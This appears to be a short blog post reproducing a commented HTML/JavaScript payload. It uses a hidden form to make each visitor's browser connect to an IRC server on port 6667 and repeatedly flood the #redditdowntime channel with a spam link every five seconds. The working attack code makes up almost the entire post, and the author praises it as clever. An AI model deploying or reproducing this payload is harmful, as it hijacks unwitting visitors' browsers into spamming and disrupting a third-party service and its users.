<form method="post" target="y" action="http://irc.freenode.net:6667/" enctype="text/plain" id="f" style="display:none">
    <textarea name="x" id="x"></textarea>
</form>

<script type="text/javascript">
    /* 
     * Generate a random string of characters to use for an IRC nick
     */
    function rnd(){
        var chars="abcdefghijklmnopqrstuvwxyz";
        var r='';
        var length=Math.floor(Math.random()*10+3);
        for (var i=0;i<length;i++){
            var rnum=Math.floor(Math.random() * chars.length);
            r += chars.substring(rnum, rnum+1);
        }
        return r;
    }
    function lol(){
        /* Grab a reference to the textarea */
        var x = document.getElementById('x');
        /* Grab a reference to the form itself */
        var f = document.getElementById('f');
        /* Generate a fake user-name */
        var i = rnd();
        /* Generate a fake nick */
        var n = rnd();

        /* 
         * Build a series of IRC commands into a string:
         *   - Set the username
         *   - Set the nick 
         *   - Join the channel to spam (#redditdowntime)
         *   - Queue up a bunch of PRIVMSG commands to the channel with the spam link
         */
        x.value='\r\nUSER '+i+' 8 * :'+n+'\r\nNICK '+n+'\r\nJOIN #redditdowntime\r\n'+new Array(99).join('PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n')+'';

        /* Submit the form, effectively sending the textarea contents to an IRC server */
        f.submit();

        /* Setup a loop for maximum irritation */
        setTimeout(lol, 5000);
    }
    lol();
</script>
<h1>DIGG ROOLZ! REDDIT DROOLZ!</h1>

This is the most clever bits of JavaScript I think I’ve seen in recent months.

via